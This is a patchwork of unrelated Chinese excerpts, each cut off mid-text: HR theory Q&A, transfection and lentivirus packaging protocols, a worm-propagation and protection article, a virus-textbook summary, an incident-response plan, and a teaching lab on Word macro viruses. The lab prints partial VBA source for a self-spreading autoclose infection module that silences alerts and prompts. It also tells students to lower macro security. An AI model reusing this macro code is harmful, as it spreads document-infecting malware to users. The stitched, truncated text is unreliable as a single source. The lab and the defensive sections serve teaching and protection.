答：需要层次理论把人的需要划分为5个层次：生存需要，安全需要，社交需要，尊重需要，自我实现需要。生存和安全需要是属于低层次的、物质方面的需要；社交、尊重和自我实现的需要属于较高层次、精神方面的需要。人的需要遵循递进规律，在较低层次的需要得到满足之前，高层次的需要强度不是很大。需要产生动机，动机导致行为，。在几种需要中由需要强度最大的起主导作用，这种需要也叫主导需要。由主导需要产生的优势动机是人们的行为产生的直接原因。由此我们可以根据调查，掌握员工的需要层次和需要结构，做好人力资源开发的管理工作的基础和前提。 3、为什么说人是自然属性、社会属性和思维属性的同一？ 答：人的自然属性中说明人的本质是客观的，因而是可以认识的，人的自然属性表现在人的生存需要；人的社会属性的含义是人必须在社会中生存，除了生存需要，人还存在着社会需要，人的需要存在着客观的社会尺度，人的全面发展取决于社会的高度发展；人的思维属性则是人与动物的本质区别是能够思维，有思想。由此可见，人是自然属性、社会属性和思维属性的辨证统一，而且统一在人的实践活动之中。 4、人事矛盾有哪些客观规律？ 答：人事矛盾的客观规律一般有：人与事之间，不适应是绝对的，适应是相对的；不平衡是绝对的，平衡是相对的；人与事之间的关系总是经历着不适应到适应，再到不适应的循环往复的过程，永远不会完结。 5、同素异构原理说明了什么？ 答：同素异构原理说明了同样数量的人，用不同的组织网络连接起来，形成不同的权责结构和协作关系，可以取得完全不同的效果。组织结构不合理，或组织文化劣质化，破坏了系统功能，就会组织内耗，不能形成合力，作的是减法，即1+1<2；相反组织则能产生强大的凝聚力，形成合力，作的是加法，即1+1>2。合理的组织结构可以充分发挥人力资源的潜力，发挥组织的系统功能。 6、能级层序原理应该怎样应用？ 答：根据能级层次原理，为使有限的人力资源发挥出最大的系统功能，必须在组织系统中，建立一定的层级结构，并制定相应的标准、规范，形成纵向、横向上严格的组织网络体系，

转染步骤及经验(精华)

转染步骤及经验（精华） 一、基础理论 转染是将外源性基因导入细胞内的一种专门技术。分类：物理介导方法：电穿孔法、显微注射和基因枪；化学介导方法：如经典的磷酸钙共沉淀法、脂质体转染方法、和多种阳离子物质介导的技术；生物介导方法：有较为原始的原生质体转染，和现在比较多见的各种病毒介导的转染技术。理想细胞转染方法，应该具有转染效率高、细胞毒性小等优点。病毒介导的转染技术，是目前转染效率最高的方法，同时具有细胞毒性很低的优势。但是，病毒转染方法的准备程序复杂，常常对细胞类型有很强的选择性，在一般实验室中很难普及。其它物理和化学介导的转染方法，则各有其特点。需要指出的一点，无论采用哪种转染技术，要获得最优的转染结果，可能都需要对转染条件进行优化。影响转染效率的因素很多，从细胞类型、细胞培养条件和细胞生长状态到转染方法的操作细节（见后文）。 二、转染操作流程（以常用的6孔板为例） (1) 细胞培养： 取6孔培养板，以3x104/cm2密度铺板，37℃5%CO2培养箱中培养至70%～90%汇合。(不同细胞略有不同，根据实验室优化的条件进行，汇合过分，转染后不利筛选细胞)。 (2) 转染液制备： 在EP管中制备以下两液(为转染每一个孔细胞所用的量) A液：用不含血清培养基稀释1-10μg DNA，终量100μL， B液：用不含血清培养基稀释对应量的转染试剂，终量100μL； 轻轻混合A、B液（1:1混匀），室温中置15分钟，稍后会出现微浊现象，但并不妨碍转染。 (3) 转染准备：用2mL不含血清培养液漂洗两次，再加入2mL不含血清及PS的培养液。 (4) 转染：把A/B复合物缓缓加入培养液中（缓慢滴加），轻轻摇匀，37℃温箱置6～8小时，吸除无血清转染液，换入正常培养液继续培养。 三、转染注意事项 1. 血清 A. DNA-阳离子脂质体复合物形成时不能含血清，因为血清会影响复合物的形成。 B．一般细胞对无血清培养可以耐受几个小时没问题，转染用的培养液可以含血清也可以不加，但血清一度曾被认为会降低转染效率，转染培养基中加入血清需要对条件进行优化。 C. 对于对血清缺乏比较敏感的细胞，可以使用一种营养丰富的无血清培养基OPTI-MEMⅠ培养基， 或者在转染培养基中使用血清。对血清缺乏比较敏感的贴壁细胞，建议使用LIPOFECTAMINE 2000。无血清培养基OPTI-MEM(GIBICO)很好用，有条件的话，就用它代替PBS洗细胞两遍，注意洗的时候要轻，靠边缘缓缓加入液体，然后不要吹吸细胞，而是转动培养板让液体滚动在细胞表面。如果洗的太厉害，细胞又损失一部分，加了脂质体后，细胞受影响就更大了，死亡细胞会增多。 2.抗生素（PS） 抗生素，比如青霉素和链霉素，是影响转染的培养基添加物。这些抗生素一般对于真核细胞无毒，但阳离子脂质体试剂增加了细胞的通透性，使抗生素可以进入细胞。这降低了细胞的活性，导致转染效率低。所以，在转染培养基中不能使用抗生素，甚至在准备转染前进行细胞铺板时也要避免使用抗生素。这样，在转染前也不必润洗细胞。对于稳定转染，不要在选择性培养基中使用青霉素和链霉素，因为这些抗生素是GENETICIN选择性抗生素的竞争性抑制剂。另外，为了保证无血

局域网蠕虫病毒的传播方式和保护方法

局域网蠕虫病毒的传播方式和保护方法 近来，威金(w32.looked系列)、熊猫烧香（w32.fujacks系列）等局域网蠕虫病毒大肆流行，这种病毒具有传播速度快，覆盖面广，破坏性大，自我恢复功能强等特点，并且还会自动连接到Internet升级变种并下载其它木马和恶意软件，给广大计算机用户带来了很大的麻烦。良好的基本安全习惯配合具有最新病毒定义和扫描引擎的杀毒软件，能够最大限度地保护您的电脑不受此类蠕虫病毒的影响，以及重复感染。了解蠕虫病毒的在局域网内传播机制，能让我们采用更有针对性的防护，下面就介绍这种局域网蠕虫的传播机制和保护方法：局域网蠕虫的传播安先后顺序分为扫描、攻击、复制三个过程。假设您局域网中有一台电脑感染了蠕虫，而这台脑又没有安装杀毒软件或者杀毒软件的病毒定义比较旧，没有办法检测出这个蠕虫病毒，那么它就会成为一个局域网内的攻击源。 第一步：扫描的过程就是用扫描器扫描主机，探测主机的操作系统类型、版本，主机名，用户名，开放的端口，开放的服务，开放的服务器软件版本等。这一过程中，扫描的范围一般是随机选取某一段IP地址，然后对这一地址段上的主机扫描。但是有些蠕虫会不断的重复扫描过程，就会造成发送大量的数据包，造成网络拥塞，影响网络通信速度等危害。但是这样，管理员也会很快找出感染源所在的地址，因此有些蠕虫会有意的减少数据发送量，包括不重复扫描几次以上，随机选择扫描时间段，随机选择小段IP地址段等等。根据扫描返回的结果确定可以攻击的电脑。

第二步：攻击的过程一般分为两种类型。一种是利用漏洞的攻击，如果扫描返回的操作系统信息或者某些软件的信息是具有漏洞的版本，那么就可以直接用对该漏洞的攻击代码获得相应的权限。例如利用windows的MS04-011漏洞的震荡波（w32.sasser系列）病毒，利用MS06-040漏洞的魔鬼波 （w32.ircbot系列）等。另外一种就是基于文件共享和弱密钥的功击，这种攻击需要根据搜集的信息试探猜测用户密码，一般的蠕虫都有试探空密码，简单密码，与已知密码相同密码等机制。猜出正确的密码后也就有了对远端主机的控制权。威金、熊猫烧香等病毒都基于这种攻击方式。 第三步：复制的实际上就是一个文件传输的过程，就是用相应的文件传输的协议和端口进行网络传输。 为了防止您的电脑受到局域网蠕虫病毒的攻击而感染此类病毒，赛门铁克现建议用户采取以下基本安全措施：1）开启个人防火墙：无论是SCS的防火墙，还是其它安全厂商的个人防火墙，还是windows系统自带的防火 墙，都可以对扫描、攻击、复制三个过程起到保护的 作用。例如，在一般的默认规则下，供击者扫描后不 会得到返回结果；攻击代码不会到达被防火墙保护的 电脑；无法向被防火墙保护的电脑复制病毒文件等。 如果管理员根据公司的应用情况和针对某类病毒，设 定诸如一些协议、端口、程序、入侵检测等的防护规 则，其防护效果就会更佳。 2）尽量关闭不需要的文件共享。除了用户自行设定的共享文件windows操作系统一般都有C$, D$,ADMIN$, IPC$等默认的共享，而一般情况下普通用户不一定需

实验三 脚本病毒和宏病毒分析

实验三脚本病毒和宏病毒分析 一、实验目的 通过这项实验旨在使学生掌握Office下宏病毒的基本原理，主要包括它的传染机制、破坏机制以及怎样清除Office下的宏病毒。 二、实验环境 操作系统环境：Windows98/NT/2000/XP 编程环境：Office VBA 三、实验基础知识要求 Office VBA编程环境 四、实验任务 1．任务性质：验证性实验 2．任务描述：下面的示例中给出的是一个Word宏病毒的示例程序（只有传染模块），仔细阅读源程序，掌握Word宏病毒的传染过程。 3．任务步骤： （1）打开Word2000，新建一个文档名为“test”； （2）点击“工具－宏－宏”，在对话框“宏的位置”选择“test”，在宏名中输入“autoclose”，然后点击“创建”按钮； （3）在VBA编辑环境中输入示例程序中给出的代码，并保存，然后退出VBA； （4）点击“工具－宏－宏”，在对话框中点击“管理器”按钮，在管理器对话框中点击“宏方案项”标签；在宏方案项有效范围的“test.doc”中将“NewMacros”改名为“AOPEDMOK”； （5）点击“工具－宏－安全性”，在安全性对话框中的安全级标签中选择“低”，在可靠性来源标签中选择“信任对VB项目的访问”； （6）保存并关闭“test”文档； （7）新建一个文档test1，关闭后重新打开，观察test1是否被感染。 （8）清除此宏病毒，即要同时删除normal模板、所有活动模板、和染毒文件的autoclose 宏。 4．示例程序 Sub autoclose() ' autoclose Macro ' 宏在2005-8-26 由jingjd 创建 On Error Resume Next Application.DisplayAlerts = wdAlertsNone Application.EnableCancelKey = wdCancelDisabled Application.DisplayStatusBar = False 'Options.VirusProtection = False Options.SaveNormalPrompt = False Const VirusName = "AOPEDMOK" 'MsgBox ActiveDocument.VBProject.VBComponents.Item(2).Name 'MsgBox ActiveDocument.VBProject.VBComponents(2).Name Set Doc = ActiveDocument.VBProject.VBComponents Set Tmp = NormalTemplate.VBProject.VBComponents Const ExportSource = "E:\aopedmok.txt" For j = 1 To Doc.Count

计算机病毒原理及防范技术(精简版)

《计算机病毒原理及防范技术》----秦志光张凤荔刘峭著 43.8万字 第1章计算机病毒概述 1.1.1计算机病毒的起源----第一种为科学幻想起源说，第二种为恶作剧，第三种为戏程序（70年代，贝尔实验室，Core War）, 第四种为软件商保护软件起源说。 1.计算机病毒的发展历史-----第一代病毒，传统的病毒， 第二代病毒（1989-1991年），混合型病毒（或“超级病毒”），采取了自我保护措施（如加密技术，反跟踪技术）；第三代病毒(1992-1995年)多态性病毒（自我变形病毒）首创者Mark Washburn-----“1260病毒”；最早的多态性的实战病毒----“黑夜复仇者”（Dark Avenger）的变种MutationDark Avenger ；1992年第一个多态性计算机病毒生成器MtE,第一个计算机病毒构造工具集（Virus Construction Sets）----“计算机病毒创建库”（Virus Create Library）, ”幽灵”病毒；第四代病毒（1996-至今），使用文件传输协议（FTP）进行传播的蠕虫病毒，破坏计算机硬件的CIH，远程控制工具“后门”（Bank Orifice）,”网络公共汽车”（NetBus）等。 2.计算机病毒的基本特征----1.程序性（利用计算机软、硬件所固有的弱点所编制的、具有特殊功能的程序），2、传染性，3、隐蔽性（兼容性、程序不可见性）4、潜伏性（“黑色星期五”，“上海一号”，CIH）,5、破坏性，6、可触发性，7、不可预见性，8、针对性，9、非授权可执行性，10、衍生性。 1.2.2.计算机病毒在网络环境下表现的特征------1.电子邮件成主要媒介（QQ，MSN等即时通讯软件，可移动存储设备，网页，网络主动传播，网络，“钓鱼”），2.与黑客技术相融合（“Nimda”,CodeRed,”求职信”），3.采取了诸多的自我保护机制（逃避、甚至主动抑制杀毒软件），4.采用压缩技术（压缩变形----特征码改变，压缩算法，“程序捆绑器”），5.影响面广，后果严重，6.病毒编写越来越简单，7.摆脱平台依赖性的“恶意网页”。 1.2.3.计算机病毒的生命周期----1.孕育期（程序设计，传播），2.潜伏感染期，3.发病期，4.发现期，5.消化期，6.消亡期。 第2章计算机病毒的工作机制 2.1.1计算机病毒的典型组成三大模块-----1.引导模块（将病毒引入计算机内存，为传染模块和表现模块设置相应的启动条件），2.感染模块（两大功能-----1.依据引导模块设置的传染条件，做判断；2启动传染功能）， 3.表现模块（两大功能----依据引导模块设置的触发条件，做判断；或者说表现条件判断子模块 2.1启动病毒，即表现功能实现子模块） 2.2.1计算机病毒的寄生方式-----1.替代法（寄生在磁盘引导扇区）；2.链接法（链接在正常程序的首部、尾部、或中间）。 2.2.2．计算病毒的引导过程-----1。驻留内存，2.获得系统控制权， 3.恢复系统功能。 2.4.1.计算机病毒的触发机制----1.日期，2.时间， 3.键盘 4.感染触发， 5.启动， 6.访问磁盘次数， 7.调用中断功能触发， 8.CPU型号/主板型号触发。 第三章计算机病毒的表现 3.1.计算机病毒发作前的表现----1.经常无故死机，操作系统无法正常启动，运行速度异常， 4.内存不足的错误， 5.打印、通信及主机接口发生异常， 6.无意中要求对软盘进行写操作， 7.以前能正常运行的应用程序经常死机或者出现非法错误， 8.系统文件的时、日期和大小发生变化， 9.宏病毒的表现现象，10、磁盘空间迅速减少，11.网络驱动器卷或者共享目录无法调用，陌生人发来的电子邮件，13.自动链接到一些陌生的网站。

蠕虫和病毒传播处置预案

XX公司 蠕虫和病毒传播处置预案 2019年12月

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一、总则 第一条目的 本预案为蠕虫和病毒攻击和传播的安全事件处理专项预案，其目的主要是为了进一步规范对蠕虫和病毒攻击和传播安全事件的处理方法和处理程序，提高对此类安全事件的反应速度。 第二条基本原则 1．防范为主，加强监控。通过加强信息安全防范意识，提高网络系统的安全性。完善信息安全事件的日常监测、发现机制，及时采取有效的应对措施，迅速控制事件影响范围，力争将损失降到最低程度，从而缓解或抵御病毒爆发事件的安全威胁。 2．以人为本，协同作战。把保障公共利益以及本单位和其他组织的合法权益的安全作为首要任务。相关部门协同配合、具体实施，及时获取充分而准确的信息。通过跟踪研判，果断决策，迅速处置，以最大程度地减少危害和影响。 3．规范操作，常备不懈。加强防病毒技术储备，规范应急处置措施与操作流程，确保应急预案切实有效，实现信息安全突发事件应急处置的科学化、程序化与规范化。 第三条适用范围 本预案适用于本单位中遇到病毒攻击情况下的应急响应工作。

二、术语与定义 第四条计算机病毒 计算机病毒（Computer Virus）是编制者在计算机程序中插入的破坏计算机功能或者数据的代码，能影响计算机使用，能自我复制的一组计算机指令或者程序代码。计算机病毒有独特的复制能力，能够快速蔓延，并难以根除。 第五条蠕虫病毒 蠕虫病毒（worm）和一般的病毒有着很大的区别。对于蠕虫，现在还没有一个成套的理论体系。一般认为：蠕虫是一种通过网络传播的恶性病毒，它具有病毒的一些共性，如传播性、隐蔽性、破坏性等等，同时具有自己的一些特征，如不利用文件寄生（有的只存在于内存中），对网络造成拒绝服务，以及和黑客技术相结合等。在产生的破坏性上，蠕虫病毒也不是普通病毒所能比拟的，网络快速发展使得蠕虫可以在短短的时间内蔓延整个网络，造成整个网络瘫痪！ 三、病毒分析阶段 第六条事件分析 （1）使用netstat –ano命令查看操作系统是否存在异常连接。 （2）查看windows、recycle目录下是否存在异常文件。 （3）通过Pchunter等进程查看工具，查看是否存在异常进程在运行，定位至程序存放目录。 （4）分析病毒传播机制，如通过文件共享传播、通过邮件或文

脂质体转染实验原理与操作步骤总

脂质体转染的实验原理与操作步骤大全 日期：2012-06-25 来源：互联网作者：青岚点击：3644次 摘要： 细胞转染的方法主要包括：电穿孔法、显微注射、基因枪、磷酸钙共沉淀法、脂质体转染法、多种阳离子物质介导、病毒介导的转染等，理想的细胞转染方法是具有高转染效率、对细胞的毒性作用小等，本文主要介绍细胞转染常用的方法-脂质体转染的原理和操作步骤等。 找产品，上生物帮>> >> 细胞转染的方法主要包括：电穿孔法、显微注射、基因枪、磷酸钙共沉淀法、脂质体转染法、多种阳离子物质介导、病毒介导的转染等，理想的细胞转染方法是具有高转染效率、对细胞的毒性作用小等，本文主要介绍细胞转染常用的方法-脂质体转染的原理和操作步骤等。 脂质体(lipofectin regeant，LR)试剂是阳离子脂质体N-[1-2，3-Dioleyoxy，Propyl]-n，n，n-Trimethylammonium Chloride(DOTMA)和Dioleoyl photidye-thanolamine(DOPE)的混合物[1：1(w/w)]。它适用于把DNA转染入悬浮或贴壁培养细胞中，是目前条件下最方便的转染方法之一。转染率高，优于磷酸钙法，比它高5~100倍，能把DNA和RNA转染到各种细胞。 用LR进行转染时，首先需优化转染条件，应找出该批LR对转染某一特定细胞适合的用量、作用时间等，对每批LR都要做：第一，先要固定一个DNA的量和DNA/LR混合物与细胞相互作用的时间，DNA可从1~5μg和孵育时间6小时开始，按这两个参数绘出相应LR需用量的曲线，再选用LR和DNA两者最佳的剂量，确定出转染时间(2~24小时)。因LR对细胞有一定的毒性，转染时间以不超过24小时为宜。 细胞种类：COS-7、BHK、NIH3T3、Hela和Jurkat等任何一种细胞均可作为受体细胞。 一、脂质体(liposome)转染方法原理 脂质体(liposome)转染方法原理：脂质体((Iiposome)作为体内和体外输送载体的工具，已经研究的十分广泛，用合成的阳离子脂类包裹DNA，同样可以通过融合而进人细胞。使用脂质体将DNA带人不同类型的真核细胞，与其它方法相比，有较高的效率和较好的重复性。 中性脂质体是利用脂质膜包裹DNA，借助脂质膜将DNA导入细胞膜内。带正电的阳离子脂质体，DNA并没有预先包埋在脂质体中，而是带负电的DNA自动结合到带正电的脂质体上，形成DNA-阳离子脂质体复合物，从而吸附到带负电的细胞膜表面，经过内吞被导入细胞。 二、脂质体转染操作步骤 1、操作步骤[方法一]：

慢病毒包装实验步骤PDF.pdf

慢病毒包装实验的要点： 1：良好的293FT细胞状态是转染成功的首要因素，细胞代数不宜超过30代； 2：细胞铺板需均匀，避免细胞成团，影响转染效率；尽量多的细胞转入质粒，产生的病毒就越多； 3：细胞换液和共转染时，动作要轻柔避免细胞漂浮。尽量少的细胞死亡，产生的病毒就越多； 实验前要准备的、耗材和； 试剂准备：10%灭活胎牛血清+90%DMEM配好的完全培养基,0.25%胰酶，PBS,TRL 转染试剂，包装质粒，目的质粒，无血清培养基。 耗材准备：10cm细胞培养皿，6孔细胞培养板，吸头规格1ml、200ul、10ul，10ml移液管，离心管规格15ml、5ml、1.5ml，0.22um PVDF滤膜和10ml无菌注射器，试管架。 仪器准备：倒置荧光显微镜，普通光学倒置显微镜，电动移液器，吸引器，移液枪，二级生物安全柜，二氧化碳细胞培养箱。 第一天：上午（病毒包装质粒共转染前，293FT细胞复苏后至少让其传代两次以上，293FT 细胞能成倍的增长，确定细胞状态好）； 实验前准备： 安全柜开紫外灯照30分钟； 把培养基和试剂放置常温； 消化细胞： 从37 5%的co2细胞培养箱拿出细胞状态良好的293FT细胞，吸出原培养基，加入PBS 1ml略洗之后吸出，加入1ml胰酶消化1-2min，轻轻拍打培养皿，再加入3ml新鲜培养基终止消化，将培养皿中的细胞转移至15ml离心管内离心1000r /5min,吸出上清液，加入10ml PBS吹打混匀后，离心1000r /5min, 吸出上清液。 细胞铺板： 在10cm细胞培养皿上标记细胞名称、细胞代数、时间和操作人，将计数好大约2.5×106个293FT细胞吸入15ml离心管，再加入完全培养基至10ml充分混匀，然后把混匀的293FT细胞移入10cm培养皿）。放置培养箱中培养48h。 插入铺板后图片 刚铺板后 铺板1天后 第三天：上午 细胞转染： 细胞铺板48h后，从培养箱取出293FT细胞，倒置显微镜观察，细胞密度达90%左右； 吸出原有培养基，沿皿壁缓慢加入8ml完全培养基，放置于培养箱中，待转染。 取出2个1.5ml的离心管，一份加入142ul的无血清培养基和58ulTRL转染试剂，吹打混匀。另一份加入包装质粒18ul、目的质粒10ul和无血清培养基总体积200ul充分混匀。 将2个离心管液体吹打混匀，室温静置20分钟